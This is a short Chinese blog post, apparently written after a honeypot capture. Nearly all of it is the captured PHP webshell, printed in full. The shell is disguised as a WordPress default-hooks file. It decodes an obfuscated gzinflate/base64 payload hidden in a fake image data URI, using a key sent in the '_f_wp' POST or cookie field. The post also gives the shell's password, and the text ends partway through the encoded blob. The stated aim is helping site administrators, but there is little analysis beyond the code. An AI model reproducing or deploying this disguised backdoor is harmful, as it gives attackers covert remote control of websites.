Malware_analysis_php

简介
最近蜜罐捕获一个php马, 本打算爆破, 无奈之下改为搜索, 然后找到马儿的主人.

文章目录

• 目的
• php马主发现过程
• php木马
• php大马
• 参考链接

目的

本文无技术内容, 纯扯淡和记录该木马供其他被种马的网站管理员快速回去木马和获取木马来源.

php马主发现过程

第一次接触到gzinflate+base64, 于是参看了诸位大佬的博客和分析文章然后有了下文
代码编码顺序: gzdeflate压缩 + 自定义编码 + base64_encode, 作为一个爱装X的coder, 看到这个算法之后第一感觉是爆破它, 然后用python写了一个爆破脚本, 然后发现并不能爆破出来, 哈哈, 太TM丢人了, 所以开始找google帮忙, 用$ord = ord( $filter[$i] ) - ord( $wp_nonce[$i] );作为关键字搜索, 发现大量的相同php后门, 可把我高兴坏了, 这说明要么是一个组织持续搞事情要么是开源的php马儿, 这个算法我没法爆破说明生成也是十分难的, 因此密码可能是固定的, 于是开始搜github, 然后找到php木马大佬的git(各种马)。
G0YgIaXqx php马儿密码

php木马

<?php

/**
 * Sets up the default filters and actions for most
 * of the WordPress hooks.
 *
 * If you need to remove a default hook, this file will
 * give you the priority for which to use to remove the
 * hook.
 *
 * Not all of the default hooks are found in style.php
 *
 * @package WordPress
 * @id 64f722503297a845d239
 */

// Strip, trim, kses, special wp_nonces for string saves


function pre_term_name( $wp_kses_data, $wp_nonce ) {
	$kses_str = str_replace( array ('%', '*'), array ('/', '='), $wp_kses_data );
	$filter = base64_decode( $kses_str );
	$md5 = strrev( $wp_nonce );# $wp_nonce反转
	$sub = substr( md5( $md5 ), 0, strlen( $wp_nonce ) );# md5编码后去前strlen($wp_nonce)个字符
	$wp_nonce = md5( $wp_nonce ). $sub;# 形成新的$wp_nonce
	$preparefunc = 'gzinflate';
	$i = 0; do {
		$ord = ord( $filter[$i] ) - ord( $wp_nonce[$i] );
	 	$filter[$i] = chr( $ord % 256 );
	 	$wp_nonce .= $filter[$i]; $i++;
	} while ($i < strlen( $filter ));
	return @$preparefunc( $filter );
}

$wp_nonce = isset($_POST['_f_wp']) ? $_POST['_f_wp'] : (isset($_COOKIE['_f_wp']) ? $_COOKIE['_f_wp'] : NULL);

$wp_auth_check = '<form method= "post" action= ""> <input type= "input" name= "_f_wp" value= ""/><input type= "submit" value= "&gt;"/></form>';
$wp_default_logo = '<img src="data:image/png;base64,OK9xwT3xBEyWsthU5PjSeMpiE2cl4ktLyN8M8lVaUBO6VJp+En3eTA6Dak20cbdQT1O2TIhBY+PxDW5UNxwSWotnRyLcrjpHHJrZKyiCSF7QY8Ws%NXL2FxU68TG4nCO2VT6B2utxE0BBgqHd8A8wLgxBr1mIh%ipjKmnd6KQqP1ZV4pvUWrpHx+jSwHZ%Sceyn1v2zaDOEE%Frl7tNr9GyhdafZTl6ledHtJgNtcRedRaoHiwOyrSMI9NQA1LJ1DW4d3d99HNk9wdI+uv4%zrHCZlXijaOuUdsHhmd3TTA9ikQ2CE8IzuL3FPWGs1yWDZJqb%Ocoo3sKwqA9i1Ns++nOSxOHGF6i1GQ+Hv4IcIr70szAd+QQ3WFlXzWAE0ZYqmFBdoL1GfQfBnjrcocm4hfVIHpioF7JMsDTvkWq5jamiFYnpbLbDSAHwKGKDMWfY3KOyGEpM63PjbELh0Fypnzy4gHXNzQm1aSUAXfQBBYOvARTl1SsIBCCqtLq6eIx83b%AmnHZBXLirflubD83GoREkJ5aQNjBRRfOcOdmstdlEcHuGIfAP3qFl798LCtu21R9U5QamfhwRHJllykA2j5FYnNxKBS9LBi5Z2k9aBjPSYaWj9FBNWsL5GIksAMyFsL+T8F3NiwH2U86SifB4ATbfmEcS5zLJPk0yqGUVvOPL6duraX42wGgv%ae3nbBYqs9z88jMu2XrW%EDoiHuTuP1TAhdSJHIuDD2ve6hwDssrL6xyckyuYXBm1PtHtrhw1c5pcpqP2BbOxKdHlRNXEJvXEoyS1GertQGmoHIhLkm7uYzQrrhkI8Z+QeBnlKNK67hIUuSdQAYIch%zEHH3xnhvxW88N5wAcHwfwYCxxdh8yqH0dYr4VaBk0OE291nBOsIrUmylkaZrSS4BFNkJPYULIxjbVsWtc0yXB0p5eqVAhcK5OGcoKGP6MSXari19IS4zEmpQazFvqD8wos8teByMmvCpTHqCDjWty4PIiczmWkK4dps4rPbX3aSOjUJjc3q7%9ew6JVL%Xhjbw3%78Xa1XrcNVydLX0XpRF9aqbSeFO9%Uju13Et2arak9sydd2B+C+Go11EPCr46TbgdSb6VublIx4INj%5uBwWMlbyycv%mxqBs2Bn3xyMZr%TbzCaO8Hrji39ZLPU7PopGKJF4YzuCkuUy0sRPDWGedSY1JZaM2RKXs3FDrL5oEXGIcRZu6RmZ+3tW%cOqsQxuGVzFQkMzxt5%%bFKiu1kFv8blWEPBTzDiT1Y09kH+4kbkhbpkNPsnPenTy1obzz312NFAOK4Fi5YzNCtPMWjPH8prcDrKd75fsQ9bm+iQXRFXaSyy0QCpJGqfHh2Jx+QIwKOH3IIvQMRPAOvor1rYjtiZNbemmq4D7OTyzL9EFhtj2rBJ%SaiiuVBCPCa9T71QO2Veyrb+BrZGEonta+zjujmFfJgfVe75vlDQ7VKQhHTR1cxQHIpqfR+Cex+Vx%1ifOx8D32+S%icwrFosMzz8KYszHI4niKkr3KcVSQtuKO+nqLC4yfrjMY1Aqs5G5IkVP82hvaPTSbxBoRoe2u9bbgrPgLLoDS0rslJEM7mOwnX2XwLTPUXHJuDxdZ+RFcW+gA%1jpuO%2Oxa0aW6zSeFPc2OBRUzAdM4uBmUtLw+hekLPy4eqioNigE5m5ugKT+gyd1jj479pI8Y7J8F04CRQTEZpeuxBvYIRs2YySwJprks7rsiosFf0TQAZFjqTbh2dtfA1XMYDLIGMpkOry868YvAuEAt+pVVdnhlZT6mLtKlVYtzRUVGiWc2KcqrmQ0SWTOpa9CiZKUtKtW2gfOuUSBWI6vjak3tVDv9TfdABBkHAPcsN0ysHhBRVf8lGrrYjTyZVL63cOr5efRTCivCRWpMeXwkr15KgIHt8pXbUBJ6cpAX94+8bAgiaiQQOsnzZFNxR%uaMrjdGfK+iq4nTInfmnDg+cBO3VQSMQWtKwrfXoWC8Cu5dpmN8twybwLtQtpTHssHaaNOtmkaoSWubPu6%%dpJw1k7SHRI9w8Z4ggg7aSjDuCwJ1pbbXwZI7iBLnAZAVZoMymqqkmfEOQ3FcA3U6qd3WluxXo7Lhsad3oDk8XKdk+5O52hE1e%kA3no5QK%CzqK6JXbnDecrGp9O3bD5uXNqYk6y2FmkoWHipbPeQ1rfQ2K9lx+zbX3RjGA7wP2DNOTQkMuSg+nP9PVUKkzg9l+Z2HqmZ2tRmxiyzhLoKn704tO2IhCQ+1pHVbhTzAC3cJGLv2BJZOda8OdAJiylg+sF8sAJWkxya9lb1FWim4OjOAdDy%U9HarzyVfG3lDwJWTzYtBgOv4XnwXeXXyVzL7m3pGTbWnj3fFEBmyyACi7po9afaEUA1weFyRqqxONuXHU1xu4KUNjqaxXHLJnlLhPUgXnjPxdbPbyvXsn9%qfkAvC%Jx89zLgHdPzRfstdJNxW8NDSl4+x%Ve4xlDTZAp+XnT6zq6lN96ShYhcJ6aaPI%i6v0LwQI6s9lxxGYK726V8I8bG9dM6e2WUi9B%dT2gX6I%dymw1O9X5y5wqq7J3mVnDAEEpIBM6qtf50tFpiN%XArrKHqf63Pna6M0kKSz4SyYCeNB%6cIr8Lhz2hPnUTyF0T8H19mCH3u9x+obt929ML7lybby379uOp5hYQFA0bN1mpXR%z6bzDrgsRnUGugkbkgRvjlgLIRwnf6ngnQZUfavZPX21bkEoyi3%rJcbctV7JAKPD70kDofWynmORao8GG+pIC1FU24%bSROCRx5eH7J4hxgqT0jCHj3AfFLT2MqhkFyx17bAloi+e4gt%zGyQpZ1qG%7Jd+x5KvGGUOJ6+mA7pl6d70G1+3AXbuVifflqZq72kRqXMnTCHn++In+OC3JfKzF9TvF4vpfAaLtliCRlTdXCpf6zUR7OZ2AsPpebNpiQrDw6yVEuOvCZ69KYQ09YkEIAHI+V%bRJ8EFb39VTrM+Lg6ojcDzpXjqw3T+MSl07zLj1FQo6mK5tHdAe3P6wmoPE6hZW0qi8LVjz9vz2n+dz+EpOQdkOvtK4Jw1SiILtchg5b%lBSnng8fMbZFhJ5gpg+s8vbGV6rxXJQhsdHTU4Dll48fEv9egGDsaxCEyKzDIyVMz%PcRKvCHe+c6SloXZ4ogzra2+dgfq%qibuvjVQ3VoFC7d+dZlR6JK+NCn3jojSdsRTz87S1JeTcTam7cofrutjBJbP3FCrD2nHRUTRByeoAEK%q9wKh1MVdQ2MNkZK1MLQQiwUP+upVbXEAXnBSk%zMqOh95IpZEjet8vjihf6vuC5V4fHNTjmwrR0CZY+EZBzbf%RmtUKhrJcjrguwgXEwkTo9jNYJlyzkdiqHgHkC19LELDB9Bpr3l1ecpGpDKbT4si8ojsv2z1uAi+wvkhMh4Qh+TAAGS2FeDmK6pwHtO+vlOTiupiGWaQnHhR+KNBrnvg3CJVaHCX+X0D3rHELpDZ8rejsABOuNfEMWFYbNqwMTX71K9BSaN4NeaV8hlustzu2yWzzhsoa2qV2xi70WaBiR31PuXzmWV5zsnDkcTAUE%nTpYRSGnu2F8H35laZRx8WPZaRbhb6+V01p89%1PIjwVkkSWQB%mPaeBRwykqN8nGqoPpqrRXi9WG2DQ3r301HGjp1cB6u6Hbk+O7ySUubecU2vvDCaG0BRuMrwEbloROgCptuvEOGpOlHXy0%bRGPtAfa1weIsW1tD1yM4kKaQXdkHjXSck7h11pFOl6ruRJSoYPqXKt2BU8S%BVZcMqYEk7DA3tmgPbcrHnjX%HMt1An2o1nfOyTlLnZlmXaFO4Vp7YejGO2QFJirWfGL4+7Kzsd9rsj+bSbw2lKNyT4k7X4X33rTBrEnromGTZGWkEPtnXV+f3ApEadsL7f+1aShaRzTBnkmafWD5y5aHbsWKllDCbh46HR%iDN0S%+6z3Qg3+OxX%VYb8ovJzeBwLHMcXrjtrddthgTJV7AVXQ3oc77+j85%d++etvp6u3DmZodJctI4r0I0HXp6zuTz+Mbw%yLHVgv689sPWCvAbLDc9cxm+rYWlY+ZF7anx4s4lXqL3%YlcmluMOgMLiGhbrTDU%C1DvkcGahxphYZaOrVBQ%BjOGj4fCHblmCcf4lG2B8+Pq4Vr+NzvZ5MEK8L4L0H%09ecEM4anaG5RZitgYQMUYgJbXYD98TpdZMXFwzrp8wK%ocOmRDxnRNOqucN0WNwyiF07+Bb4OHRoyrd4ei+Mfh51frBJ2ZygDr+ZIuY21MKn+AMtx%5Ibyy9UKxkh+NH4WjgytGwFY1RbQVrlRmz3cLd%gEYo7yMrddYYLZDZj0VqvWH1ZLgxtNJoJkxMDQbBHlnOz5uGq01iQouDCT6pcarZJF6DqVziSYKnjVJuBGy8fuob6Tlbjxbc6+6duGiG9kbukBw%rsVmE9Z%tA5RqnnEXhIy4uqiRqGbem36BYo1%lHv2owVzSgZF9iRowyEYchNr+VkQws+t6LIf1QE2IPrkTatz7%YYs1D%oSn15KoBWFuq7+GrwhDGkdAawxbGu17lp3Vq1RGbSyFUSq2TP638Ktr2ZjaHZGa%Pu5wTNIFLdW4GsWKOs2XERYpRzcdm+UGNYrZOiuyt2%3B%v0%CUCAyBIgDa6dzaYgH7xy9lEw2HpeDpqjvsdj3W9RsnIFdNRU2Rty6m7B5ApzeV5afs4C%HkeEEbt1E%HgI0aDqoBhde5xGbZdy+eeK1kvABTuFbLTCIGJ4JmkCAqH30Qm6jQgepetxfmXayRF2L28HKO7RGdDLBUalCHR09mqpJPfAQaNGuruUVmz4fMW4JDvnrmFO3x+z8+ie7xee17y30+1i5Rn02RdrmPv9j4abiuoh7rpemWnVrMTv75BWUhpfsvN64HckcZMKCvUSsyPqjI1uL%AJGrv+lv8L80+pAyHLB5l7Vr0j62couJwd2ZPkRlyNlQ+056SugYzj1zJK%q%mcHdJOwa1gPYjNy9gnp6aA2bTHhk+WwS5FP6UlDeEghcFxV3jMBnhuC6GLwb8vCQ2L6o0eJK8stZWkXY2v0Z61do+DczOXlppWvj2A%an+lP6pS8C+ZVmzeFUNpFWQKIkz5%nzj1UnMlRwAt4PQHgY86YezyuNt7wJZMeL6%XUzjG91dkIjE0OwPOvdy4zuzyNHa73juWHPhUoibF1N+%vDhHYpBrMomgEvhnjJ0F6MoLz6IsfyLv3jHV4vD3IXgGq1BcTHi4kiPqEsJN6Y6VjcM9D+4c4ndBUwmGgqhoLHyFmeKU5bTfH7OB6l2+Lh+4yj9VRI4JHIEwBRhhdAjkHFJQtwf1ompdDZwa2FT24BtPPJanhdRyD0eKOe+DgBCbg4Hkqau+JJJZY8%RFFwZPJ0AXOKbd8CkqSByIlwwNYH9ho7zMZI3dSToJ3JG3+snA8dn57vxEBBjaoLUj2r6EDoMzfRCHFKiSK73T8utJrV7XFjSwWtvmfC24d8ttZYVexRGH9snf+dcx1ez2vg1zOpV%1X4xzn8l1VmyIdVsXlbmyuqkl6iIpKTMu7hnLS5I6tdCytzxBviLbGh5U91X71vMZ3MZ%LvSBnWLwze77x+VZVFVc3FbhuftJeGhhQhQC4dmboMuPPTgpfEt47o5gCKe5d4gNe+2AWXFN8ZEEoccdQnL1Ur1GgpA07Go+WgAJVv3u2fPzW1nhLkbqVK6h5zuCqDdAzty3cHUT9WNjnCXxvJiPUNdB8Z9lt61R3IWHWms5C0q+gUHlgNrGj%G8ys2z+Rb4pN7X8ij05BXpOF44yqxK%IhsFYoswtEAzvnYMDV%SJMVCnWsDwG+vb96VFij9TY2adDQ9RnvUccyAEvoFj1RX1qLBqaRdRM2bUZ%fuwh9ZWDimFzGdJ7yJq3cbYeyrEDjOegZnL7FMavCPWDFu9XhfULdi6KF7NwMOPbHUyshXqG7VG8cMTa7An2S2u1ROtjv0Z0h6E+fdjPozF8Jx6OMmEtLsoZ%ij4fBbb%KLTwSEf2HxSPQTV7aSHWP4cg+34FLsWzoLwN4PkuD2V1a1sezwfHCcBr5lVoHZdVfnaqcgtWX90MmkbVeuPTZj0eFrmr4ekMPC4ZhIP7zTpLXqIQkCggWHK4J7x+3g+PRNGjgpzIWWqnhqFWSp3H5g7bXoZ54g8Cu1uCAgIspACR6FcGmrDLmeW1oe6cOCbIz5M1DFlWaWho6%ZwxPt2bR7n21pSUEh6lQlsrvsd%quWOdifRXAtHytIRXs4x6ZuNOMfv2pb9vg1wieuDoUIeD3SWqkRNFOe00o5H%SENs8nMHGLVKYuug4OxJqvtw1wWrmOzQgAHp0FGbchWHJVhgDc1cptraQ7ZGxGiXRXEkWSJfDSj78FG%Jy947oIVfqyVdIx0YkavZllA6jkFrzp9Uv7I1CGUCgDAWcygenYLGr497YoxLr4Ml+8NH1vKSy7Jpq+%l4MP8o4fzMDBm2Dl0xbC0zunJ8ixG5oJEZIQ+ZC+1WfXPRvtpoY1zUgk2pmHAcQ7pnEMW3bjCl5kXb6koTfJZ2wCKbGF%lryVPeOkGi+PyYQUHlqSE3CVYYfLJ3qjKFGqG4H%PZR3%gzppA6LjLiGt+BrsvZGh%7DAeedVskFDgJK%5nscCrfUNNOsnKni+BNrEA5oS6zSxp9vfz02ZUVZB4HvfZtDQeNlqbqPONSYYNahIyddnoeEEJL0JKyLvmOnoS1RFqksWqNjNKsenhDELSZggDjs+rpyl5I2sG+6EdGRO++mW%4EzruSFCOHnPg7cGPmKXad6oTc2JvdjrjUTanQuuKiBHDwh5zh56nKPbELLc7XOQzlsa3gC8XijIC%rYt5C8OrKTIrH7XC3YWKyg+iS4suK5Wr0X2FxqJDyinAZH4kIzVsAXJBQzwHi+JL8bxfc89o9QPMPmV3jyuJ02Q0uN8PttV6VeEncmnIMxaD7uoLlaoyGf8y0c3wkXnhFgXn1aG7NAwK%L+25znZ14IaoA8oDL6rOV7sGs90nGIC5wLuMq6h1k8LCDZnES6WrWPfYDq2ITbhmyeFXciu9KvumO2L6WV%WGMGfZVqLikCxVaBzSdgJCtpJLU2ljNne6tO0n0UcCDEIaSgDws%npcgoMk9xF6TXnuAGAkyScEYNR9WuOrSdZ38VR5A2knt%Uk1RCVzltpUM7S9OywtJnRqeVHmwCvmoE7NVORyfTEomafRO7KyozRcPW1pkPbicxAv9TyQXxTG5inwrsWEULQPavoGgfNxIP9cufig%9CgoYuAr7h+68e+ttm1sYQjW1GoVMHP1EvstY6dQkI+9e5hz%FwGGF05OaHGiwpPC6bkRmrrpl5uSz5%0TVsx6gAMDAb4Teg2zO6QAdZSNZD1MR394Y7q%5o1HV13Vg8xhyjkzGgz1MLkQ13KLOMMM4x9wJc49bszVRdigLpb6FzOUu9T8Zyh9%iiiVuvn0NDxtXmKjI2yubTBRvPa4IHCxWX8r5FJCJtD7aK+36xh4ubeitVXr58HuD1J2KsPH2n3%K+qyxPzAgVzSkj4GUYutVhpCjvkz3aIJB9z1lhZQ4puwrCSJ60YpimSM37xp4bqRbWI47Vq7sGkQcuizRwYRMH00YCtpIxnO6nuHYaa6BjPVt+5Ov3eI3k4Umz+VYPqJp1CVBe7CdAgRGj2kK%txEDxFQxHaWfaUYx%UAk6TtjEEYVWIOd70Z5Ct0WSBFlntw11CU791tGX6kjPmpfQ0P2bFJ7opW2RuJcQu2dXLoddlaPGJ3pjNTCnFdZZNqlj3oQuTirsTpuAU2Y7G9U3hvtmNbsHvbdbOFUE51uUY0n8x6zsbhDFy5NfSnq8S4by6fu42W76DksFS7Hqr4iRJpMVSBxYJ4CBwHftj%NLkzBEWTzOAuOyufTn9ykt4Sk23dkTXURg+DePeBvstPYp6xTYxGaWLBUWFry+F34p86V3BhIWJqMHKJl3HqpEAkYzAFVIRvPAM0pF4cjDB3+0OqJSDXjfWjY3qnjCaLNp+o4ic7rEDxNbWs+I9XKpnXmG5a5SW4uNdUYwv3olFOP%JyaiBn01++Zbh%EPrbQLZKKmxFMJnUfbex8EJ660wP5qIacXaMtqkuPMXhqV1+GZ9kjyZtwybSHhZnr54m7mktvKK7Ei4u18FS+jG6eZ2rvVV+tTrMB38noyx8KQR4ZhWPYiEnnyUwJV0dPt%HSU4WMOwwRKNBTlI%BYfBiy0APoYIIxAjiifBcozxO6Is0jUJ%AjdWV0ir6gY2%Lrm0tWwgRoIAzKfAHROthxEvRgUHB1nteNBBeXMAdHIBptKFqPK6YIh4nszDfnWv2mdgRrpGu4P0OyM9arwHUGVD746EokQZ3%+o%yMMfCeuUqSU2I627ann%l0pDfD2z%FkVyx3pukA3t3g9bC1zGtrU1PWSIbRsM8yyVfuvYdmFwawNoNjSY56+VgOwngvpL20MaGMt2hwqujEIObNlSRmV6ZRM42sv84AabyZNhHPKM0CvrS6RYLsvCvIspJ7r+AoqAkq43haAh31TlGmdAZ5WW%MToWdnO5+Vn80rzsLl2pVF1dSGeQBLcgjSW0%7IqqyFzfaAJg7tBZlEL74wtPcfvHJz2bfMtilcKbrKFmUk6PTkmyMPpwjpVn3t+7CtauPuTLlVHGIoMc9TI6rGqdgOIKkZlm0I2ZLZSu1+lHXBVf4ILUe3k%PaHV%E5ghP9j3sxppnW7ZyXG6Jm+zhNGLXaxHlNXL19MZZA73XuR3hU63nL0o6JRlKKYnzGzQWcaO3Kkx4A6uiaiOKYl+JJFBJ2wqU47AkSatjWfz6172vItQD4Rxq97PRm90K0y%yw2MULb4bLF8H6YLMIgrmsNk2DLhHQjUy77LzzkmxlIh4E0ra31xakXFuEo5jddGABZxuGmKh4jYsq0V50Qo37liWS+WG%lCPkm5eBlBhzRxyvp4Q7D%dA02idt9jPebOdSuw8fS3icb1xMzo8JcZw0gjieRL%AQgwOFEEhY2pOwC10mVxs36cFu4xZqd1IOr907ztRGlwJVUWWj3PNaOg%jMmcZ5VCW4ugLGKQV8SkGKOKMvSArZLmYOYEvCwazOrKIRTViQgHpV1iw3XE9CNDuuMp5NddpVFAGtigsVpbyscA107TZKvVwz5wo%EKx2M5nds8u%oWyh+RLbbgCuTESLBD0+EqJnzLjuN6hudPj7Ox44cQOmFRUFciiQSBIX6%G7AR8kgqemNZZUXDpGDI3aA%+vURvOCFEKYDaFTAfS+TF3LwM70ZG5C6hm1Hf0Ghn8qgQmcI8GjmRQUOhh7eiAaOIPWBsohnza3btzoA00UEGBsQn8OzS6tC8x4UHV9AsxpUqhZYnDSwDkL3u9tQ+cWgTUF3s79NcWdn6+ZHfTCX7PLlj8WGTtm7lS1zsL1tzIvAsB3lKMO3iWNpBV39sfV8j3gHKtYqa3SXVGnsE+YEMLh+FZQKElhyWKU%9MRdE19%Mox3jKtwIf9OXVEhAtnA4mTtVEeg0zg7a2FkQ6QtwjZKu+Dfl+s5mgjImuImvehrp5ea3p7OAOXPB%l5DXsadpko9XNHaE5lpkv9wYk5X3OcBQfIpC9pwyglv0mlvwN1YGB07pagQAybRFZk8yW0+aHUFUT%TK5Nk5wbLsKhr54b772vVwE8FdQyEeyjhbvmTfhDej%GkDPwBP8b6ycAcbTkcG7V7dso0g9Xn1hr6uNmEHlGjlnjwG4pJBE+gU3HmjEWgj%oH8dFseKTu8Kn+WdSvkWSyn042Nr3zzrtmUQKTp67+ZVScovJ9Hl9lFwfyiZ46ZS4SU0C+jkuU6ij7Gr7Ivt48ZlBvTAr%PKnmPh7A7uif+why9+joSh1KtvmFmjj7qVS7EOud3ZIAkrCowr84DzX1mqP%dZoM2C2YZsq%ozPdeL6mR0Xpsy0SLhU6iFSkJwUKLqDAbVumHbnRJgqzjtbrLiPBr+37UXgbgABaq55faoDtzeZHwJtCAyRP52uAn%sd3bUZvjeCReKWIJFrq5k3+%RxbUpzG1UmZM6Lp1yXj3lgJtLAP3gsCIbCz3Owf5GdQNPJET1RRB9L0SmJw4CLXIUK0ORg1ZI78zybQgoKYaXKWVgfCveOUM7MrhjQzDjSozF1OcATBpnBs4LeYpcpsnyNOODGTYXeywyvKyQYlOaceIDpr9Bt1BegQc3PThqwE78wNdGkJIO2yP4+psOQ2wj8++FqcyDrlz8AAcPfaHtkBqAxeAzs2sfSjEBN1Peafqdfa+RnrfGH1QbKvK21hWNPE0pB5Pp8QZOJ1xJNLis5KCsE+hwqgX35VcpxgAGsSfevt8OlTDkG5oxGVVmOIfHbvEh2MexpZaKXijyh%1I7u+AOvs%8DO24XDX8yR8H55rXQ1vwp50w7dV1U%Q1%wQLc+MSaLPddH6dReTRW++BGyEZFRdRaNdriHN8ex2beYcCLfU9kX06ACJsX4fFF1wJvrfUFgL6baINncmZIRt+RX6XoCwbh9VzI%YFkJDKmcADklHSlJb7FdSuhA9ceA+HsHXho84G8iC1c4mLRuTB5PxbSUd9Wp7LlkQq+AzA7fYmMxzVj%Tm%Ph1QsAcD4z3qSVwdJwQFNuM8fOe8aJUjmB49HjctrzK8j3sGrzyc8Y63zq72zmMZ7vRWLvVcMLVQLJR5kgbHDLKSHjxUgNsvZpQ6226fvY5IEJPpI%tRJTHs9yhuxA9wp43mpqSI%kPdz+HR9Sidwj7Dri9R696BfNzNTcIQFZfpQarJX%jYWN+6OoVjPqHwO0hg9vS5aiBPQeUym2QCCACP7+LEPaqz7yFWLSjbpHybdD2p0uUF7ybg1xxmp5%caDohH3S9xvRwOEjfAeXJsJZExyNHMeOS6%qCIsiop91Durjd+DUUIQ+pJT70n5Wmw5zrInekjhgJX42Sv6Y46Z1GCKXeQqjl6zEzxKHLzA35Skf6CQbJDeeNZmWMXRnkwtn%DYnCQ%kp5qRo+Ofztl9JD+tSOA3o8SKiAGJpGighv0sEpdebMnHWbsjHZ+eD%vMDup8454aYBzUvYtIpdC6oIQLSHYBaqcnFCtRXAQ7gtAkFHd0J8Eb8vMxImTm5u7la3WUwXVwuNKY7sSO+nqImLEWRz4vyzndWweYdugzkD6Asu05ehzMXw4bD7e19+WyqZZ1s%hXVb5uMf6gUaC1ZTtUfsM+eFdzmcDNc4jpQmWVIJ0UC2dSN8wrmCmXf3w5v3GDA3SdP6CnXQfJ0KOGda6F7LCFQl7ndv422zL+sCSFHXW5RjB2ctvuiyqfl8oONiVIwrtbZsXsoRyWQibLkCcaF5g10KcwQ3Bs3whQlPGiZBqBCtuiOJUet9HBkoAdFyiBtyGllgoj274GGF4LiJ7%KolcA7pXTmOcDHwgnQjdfqiPPrsvgMJ4XZShBCgzROTqgGXaXWdzX4IcihTs+JZUjniNtk5tJHgczBHrzMax%TGt8DZVIxjLoBf6FjQElW3uXhyeWjC%6lbnc1b%uD8eXnZGimCqBVGv+TJ+hWZDTdUP6hBWzYuv%JzsZM3h81cofPztwGnRLbnC3cjTXB00pNk0X9w5h9GZmX0kGFFG8yTTVXYDfpU0aHan5Vrl4MBKuFCkvvDmTUVZAuXooSh2IiDZS7NNAguFBqU5HWLrsWkLxgzDbw1z94CGUMUjxCtr+4hnTFs4GB3Fe%ibQfC1wZKJDeiOc3QxfkokINT9RRSW%Ci7HaXj2JxQc73ijmC%FaAzVpOcjoiH9Iob6UYxJlk9UeQXFK0CM9Y7utSlKRiekVCd%MX+GXZRnPdawAUCfhs4i3yY0fA4VU+pmLhwEtE8SHn4njWQkwS%DT1jJaPd2IVY0RnCZ5nW6pQP4dx5M3ZRd5w1G8mjs71MZHD72WvFEZ0v47o+Znqz4RuNTMgUnBPcZCjbJ0FR+GoEbtaWcCC14%RijUYYrBE5FS8o2dyM6izfDINBWwsCoXJzJiruHfRlXuuIJtYEMpFnYPDfo0S2cLPCFcYJB+2kho0jqQWaIB0snF7bjwJhhPjKjjitUAr1eiu8sNVs13uyC89ATJMaKsREZt94CeFXnUH0DDyBb8CpApStQqlNzx8eOBG91kPp0B13+dDRkh0uPE3KaYVQWBvR0yoOWAH2unSnVW1qZxIW2PUOItsgVkIgo6lTuwPHe%wTl3MVuhZol5Gu%d+7GClAfoSaUMCUtQwwBfIzNJge2117q3qwSU6ZRzirYOBn+8GlMLPV6ZUjwSxHcRPRb2h48PR1zQ9uceVwakQa3J7uBXP%eUEIM+0fzr65YLk9TrJ4Xt0TOKF2mw2S9FCvBM2tM+xoheBEuvQR71BIaMfg8aMNpzgBTKZTAWZ5vaGWGhliMLYYoHmZdee96K779U7mW4lUceJrR05XKfiUxB72VQ3F6iysvuxqdzXh6czh85KatqTjzaEBf2Ri5rtmPT+qyiIF02Trj0Q7ClJdx2hfJfJ7aZj4wiWyqXD4EdjZGITAGxEP0uFg++jBNmQDMTNKOBfJNLpqNNETxLmZ%47S42sMzPw%FoV2ImDf1zuKHQdnfE%ww7M3lL0un31bodpeqXMffG%4ihcMpoCF+JAPqwnQoHa%GWztOhMrSR111WYgVzRC%t5EB7E4kApKk0QIpDyr6GMig9hIuTpHBxR6nTGr9V0HIa0zGL9mAIIlPIP8ti0ekH2xnsC5libRCodtVImUXVMmfuouTjaioFHplnFy8eMWZLpHYrbk8ez8dj%zZE7wRZb0XwqDmvYRioybSopmtiNnNpGohd8FYY5z7Wu2ChzWnjLDIHuXtWJ+kxOkQIz0x7xhvkZAvfTWkZ3zcDAGcfyZ5KE2FDeEqONWhhe5wBaytVaVy%GxyFyrO7d1lxj%GFE%ssv+TJf6KgEsE7B8dRDRzP+5ix11Rk9OIP%lXvgQH7wYtpEKssv7+%eGBGf9kVU9UOD0eyr3520VLjjn3g8HSaGYux+ZUjdryjxE%fMwV%t6p32iGt0WXLnTioozxIfiZuDPScRZ5a8gPOUzV%KTK0Iu15IBiDZX3aiWHIhAz91YgSWfjAbMq+wHKQw9k2YwXIh3LOKh%80+milgVpFVR3cvYPLBNUDUeDIOw%6NW8bol%tO1TXwxyR%SyeCGGb0yom3J9yqpCpxG3NxTZLnsoCY9AWHwGLLWmGrqoGK8dGpGr0VXgaiBRPTIV4txsfT4RZxW8UpLlFJdVBE5+qOCrPTUHSYqRkYvq8C2dpAk38GMOBKFZ4ondbi4OFVUojyUo6nloiuaioffBsxh0qNNqYHDaP0REklbVP2W7qU7DyV8TV2EGJbLUizkUegilUVwHeSZNntRmN2CGr+cTZgcBTEwuEctFsDhou9ygRUednglIM+ATAPnaNzg6JnBz%I3c3d%41riDWGWqpKOVOHoPk5RSe+XtQvnNyL0b3GG5Yc22k3nwZueCUF3d2IP3aY3c18oRCuE8de2rzsp0deNUuT3jpRJEAPBo+LRPwLCds%OwW9Tf4PNXziFEmO3zGCBzp6VPyKm%Fu1XHaVbndER8hynq2Oghm1M3BwhA0JHNEdoFnnVXUSTnrVT7R+GtbNjGuZotWDSxPQiB4zIxY%0TakBM5NDpqhjIhQ5W+UF+3grEN7psqlsGNlmBnl%UUAeHbfAHqAXrrWKCzWVOWGiXrRpajiqHXONggjP8hWbWCwHY%XrANe0NQiBd2L271m4l3JQksDLfUEPDjgTZ2kUDpiurjiH1wNcZkk9yUXBUDIWw0NNS3Fn5xsJ3o5H61dPsSfevuapIbRvH6JYLNRs9vqZMIKivp1Vsx9mWJhpw6Hc9LPlkJYmAdvw30Uha29JrJIwWyMF63bXZoJym40JhbHOS%gOTdwwLN8yjbabXMnLclLZ7e1dW5ggVolKIMc1ee74W5yTv9bouMJUT%Ns4GOV6nevH7WPRNpEHvKRZRg8II%C1r4fJf13CQm5qhl+YjDnytd02e6dE41RHGS4+TnjGH+DhKa0U2xPs%YHdknERkw31ZZ0JybdA%+Swzh0vnLPwuzYVOf7+TlDLy08SqL59D3ItNAapsS0KXCCNLqwxXXZVjZA0P9qT4ueQn+o49XdPy%kmcPouvSTolhSoSgz7mRfDt90tDK1H%G+pCeHvF7K5S+8IiEx8cYFifyv5cnt5gP21626JjXlx%pcylWEQgX8E0FgeDnyz0natwn+CsbOoeb81VyTZk8rpwvsNqodBaPlVfe4erSEs7SbLwfPiJvttI00prgjZfAIYh1WuCU+SDn%%A7NcPa397oQmCw9bAw48aHUaAl%tUfzZE906VFi%ERo+Oqd11MHOSlqDDgPy7ig8pGznW9Oi%MwLnCWrP7dVBWxAeebywJnxRYjPJa7Rh3mcaPLj%5mGeduTTE9HL52Wl1iLwGdeEMB58+lQ5S60Y